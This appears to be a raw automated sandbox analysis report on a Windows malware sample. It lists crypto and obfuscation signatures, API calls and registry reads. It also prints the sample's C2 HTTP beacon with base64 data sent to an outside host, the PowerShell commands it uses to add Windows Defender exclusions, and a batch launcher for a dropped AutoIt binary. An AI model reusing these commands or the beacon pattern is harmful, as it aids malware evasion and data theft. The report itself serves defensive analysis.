/_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "temp" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ru"3d:T910,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains ability to perform AES decryption (Dotnet String) Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Calls an API typically used to decrypt data Matched sigs: Contains ability to perform symmetric encryption (Dotnet) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform asymmetric crypto operations Matched sigs: Contains ability to perform symmetric decryption (Dotnet) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Hooks key cryptographic functions of the CryptoAPI Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to perform CryptoStream operations (Dotnet) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES Encryption Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform AES cryptographic operations (Dotnet) Matched sigs: Contains ability to perform symmetric crypto operations Matched sigs: Dotnet file contains encryption/decryption functions Matched sigs: Sample file has high entropy (likely encrypted/compressed content)3e:T11ee,"a45e2d72a3718dd27e9b0703307a2e4a.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001800000000000000d33460b0a2fb00000800000000000000ffffffffffffffff34000000000000006609550cfe7f000038e6310100000000db043225fe7f000000000000fe7f00002a964a22fe7f0000000000000000000009000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff3400000000000000a0e6310100000000080000000000000000000000000000000000000000000000232661b0a2fb0000c3f03025fe7f00000000390300000000a7133125fe7f0000f8e63101 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acdb22fe7f0000000000000000000051ed3425fe7f000000000000000000000000000000000000ea4f05a456b800002a0000000000000090084c03000000008fec3425fe7f0000e0acdb22fe7f0000e0acdb22fe7f0000000000000000000000000000fe7f0000ffffff7f814f000000000000000000000000000000000000d8cecf22fe7f00002a0000000000000069c38822fe7f00003100000000000000c003000000000000c4030000000000001100011000000000d0942b1e0000000003a38b24fe7f0000d0942b1e0000000000000000000000002b00000000000000000000000000000020b08e22fe7f0000b43f8d22fe7f0000e0cecf22 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000001c05000000000b8e3225fe7f000000001c050000000002000000000000003800000000000000400000000000000030031c0500000000e8cc2b1e000000000100000000000000030000000000000001000000000000001600000000000000a00e37030000000000000000000000000000370300000000009019010000000000000000000000002e00000001000000000000000000000080000000000000000400000000000000000000000000000048882c1e0000000004000000000000003800000000000000f0988a24fe7f00003800000000000000380000000000000060ce2b1e00000000c00cce00fe7f000000000000 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b09e02fe7f0000070000000000000000000000000000000100000000000000d0bd1c0500000000000000000000000080474e1e000000004c988a24fe7f0000a0664e1e00000000b3cec400fe7f000020494e1e00000000004f9e02fe7f0000d0b09e02fe7f00000000000000000000000000000000000020494e1e00000000d0bd1c050000000080814e1e00000000b8ce2b1e000000004c988a24fe7f00000100000000000000b8ce2b1e0000000080814e1e0000000020494e1e00000000010000000000000002bcc400fe7f000090484e1e0000000080924c1e00000000feffffff040000007df09d02fe7f000020814e1e (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000070000000000000000000000000000000100000000000000d0bd1c0500000000000000000000000080474e1e000000004c988a24fe7f000020694e1e00000000b3cec400fe7f0000604e4e1e00000000384f9e02fe7f0000d0b09e02fe7f000000000000000000000000000000000000604e4e1e00000000d0bd1c050000000080814e1e00000000b0ce2b1e000000004c988a24fe7f00000100000000000000b0ce2b1e0000000080814e1e00000000604e4e1e00000000010000000000000002bcc400fe7f0000000000000000000080924c1e0000000090484e1e04000000feffffffffffffffd0bd1c05000000007df09d02fe7f000000000000 (UID: 00000000-00007792)3f:Tc11,"a45e2d72a3718dd27e9b0703307a2e4a.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000000072006f000000000000000000000000006500000000006600000000000000010000006f002000000036003400a07d41030000000000000000010000000100000039005c000000000000000000400000005c006d00900e42030000000000000000140000000a0000006600690000000000 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000060b0a800fe7f000000000000000000000e4dcc02fe7f00000000000000000000000000000000000020143f050000000000000000000000000300000000000000c467b902fe7f000010000000000000001000000000000000d0d81b1e0000000080000000000000001000000000000000a169a700fe7f00001f000000 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000060b0a800fe7f000000000000000000000e4dcc02fe7f00000000000000000000000000000000000020143f050000000000000000000000000300000000000000c467b902fe7f00001000000000000000100000000000000040d81b1e0000000080000000000000001000000000000000a169a700fe7f00001f000000 (UID: 00000000-00007792) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e006500780065000000b9010000c0c1e69bb901000000c2e69bb90100000600000656eb0000f043e49b (UID: 00000000-00001248) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000004f004d00410049004e003d004400450053004b0054004f0050002d0046005600560046003800320041000000550053004500520044004f004d00410049004e005f0052004f0041004d0049004e004700500052004f00460049004c0045003d004400450053004b0054004f0050002d004600560056004600380032004100 (UID: 00000000-00007296) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e006300050000059da3000060574c33 (UID: 00000000-00001292) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e00650078006500000033010000f0c2851c3301000030c3851c33010000050000051bac00008044831c (UID: 00000000-00008120) "AutoIt3_x64.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000b04deb0200000000f04deb0200000000304eeb0200000000704eeb0200000000b04eeb0200000000f04eeb0200000000304feb0200000000704feb0200000000b04feb0200000000f04feb02000000003050eb02000000007050eb0200000000b050eb0200000000f050eb02000000006f006e006600690067000000 (UID: 00000000-00004212)40:T5f6,Observed function "get_SystemDirectory" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed function "get_OSVersion" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed function "get_Is64BitOperatingSystem" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed function "get_MachineName" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed function "get_UserName" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed function "get_Version" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed function "get_SystemDirectory" in "dllhost.exe" Observed function "get_OSVersion" in "dllhost.exe" Observed function "get_Is64BitOperatingSystem" in "dllhost.exe" Observed function "get_MachineName" in "dllhost.exe" Observed function "get_UserName" in "dllhost.exe" Observed function "get_Version" in "dllhost.exe" Observed function "get_SystemDirectory" in "RCX39E1.tmp" Observed function "get_OSVersion" in "RCX39E1.tmp" Observed function "get_Is64BitOperatingSystem" in "RCX39E1.tmp" Observed function "get_MachineName" in "RCX39E1.tmp" Observed function "get_UserName" in "RCX39E1.tmp" Observed function "get_Version" in "RCX39E1.tmp" Observed function "get_SystemDirectory" in "RCX2E95.tmp" Observed function "get_OSVersion" in "RCX2E95.tmp" Observed function "get_Is64BitOperatingSystem" in "RCX2E95.tmp" Observed function "get_MachineName" in "RCX2E95.tmp" Observed function "get_UserName" in "RCX2E95.tmp" Observed function "get_Version" in "RCX2E95.tmp" Observed function "get_SystemDirectory" in "RCX34CF.tmp"41:T427,"a45e2d72a3718dd27e9b0703307a2e4a.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "a45e2d72a3718dd27e9b0703307a2e4a.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "schtasks.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")42:T49c,Found reference to API "GetLastAccessTime" (Indicator: "GetLastAccessTime"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API "GetLastWriteTime" (Indicator: "GetLastWriteTime"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API "GetCreationTime" (Indicator: "GetCreationTime"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp")43:T490,Found string "@echo offw32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nulstart "" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\AutoIt3_x64.exe"del /a /q /f "C:\Users\HAPUBWS\AppData\Local\Temp\\rgVo7Q94jw.bat"" (Indicator: "w32tm "; File: "rgVo7Q94jw.bat") Found string "@echo off\r\nw32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\ncd \"" (Indicator: "w32tm "; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe"), Found string "@echo off\r\nw32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\ndel /a /q /f \"" (Indicator: "w32tm "; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found string "@echo off\r\nw32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul\r\nstart \"\" \"" (Indicator: "w32tm "; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe"), Found string "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul" (Indicator: "w32tm "; File: "rgVo7Q94jw.bat"), Found string "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2" (Indicator: "w32tm "; Source: "00000000-00005324-00000C41-18733446540")44:T4bf,Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API "RtlVerifyVersionInfo" (Indicator: "VerifyVersionInfo"; Source: "00000000-00000364.00000000.67925.E13C6000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001248.00000002.72351.F8CDA000.00000002.mdmp, 00000000-00001248.00000002.72351.FF368000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00001248.00000002.72351.FF368000.00000002.mdmp")45:T1259,"a45e2d72a3718dd27e9b0703307a2e4a.exe" queries volume information of "C:\a45e2d72a3718dd27e9b0703307a2e4a.exe" at 00000000-00007792-00000C15-46552942 "a45e2d72a3718dd27e9b0703307a2e4a.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll" at 00000000-00007792-00000C15-52153758 "a45e2d72a3718dd27e9b0703307a2e4a.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll" at 00000000-00007792-00000C15-52536095 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001248-00000C15-95101910 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00001248-00000C15-95528842 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001248-00000C15-97026584 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001248-00000C15-100630208 "powershell.exe" queries volume information of "C:\" at 00000000-00001248-00000C15-103792588 "powershell.exe" queries volume information of "C:\share" at 00000000-00001248-00000C15-103797387 "powershell.exe" queries volume information of "C:\share" at 00000000-00001248-00000C15-105241012 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001248-00000C15-109223840 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001248-00000C15-109420146 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007296-00000C15-97712162 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00007296-00000C15-98938064 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007296-00000C15-100072764 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00007296-00000C15-100103337 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007296-00000C15-102921550 "powershell.exe" queries volume information of "C:\" at 00000000-00007296-00000C15-104547806 "powershell.exe" queries volume information of "C:\share" at 00000000-00007296-00000C15-104551504 "powershell.exe" queries volume information of "C:\share" at 00000000-00007296-00000C15-105666567 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007296-00000C15-109329499 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00007296-00000C15-109646676 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00001292-00000C15-97655419 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001292-00000C15-98268447 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001292-00000C15-9916019546:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")47:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")48:T532,"a45e2d72a3718dd27e9b0703307a2e4a.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\a45e2d72a3718dd27e9b0703307a2e4a.exe'" - (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\(x86)\Microsoft OneDrive\dllhost.exe'" - (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\Tasks\OSPPSVC.exe'" - (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "CreateProcessW" with parameter ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\(x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\" - (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "CreateProcessW" with parameter ""%WINDIR%\System32\cmd.exe" /C "%TEMP%\rgVo7Q94jw.bat"" - (UID: 00000000-00007792) "cmd.exe" called "CreateProcessW" with parameter "w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2" - (UID: 00000000-00005324) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\AutoIt3_x64.exe"" - (UID: 00000000-00005324)49:T10064,"a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007792) "a45e2d72a3718dd27e9b0703307a2e4a.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 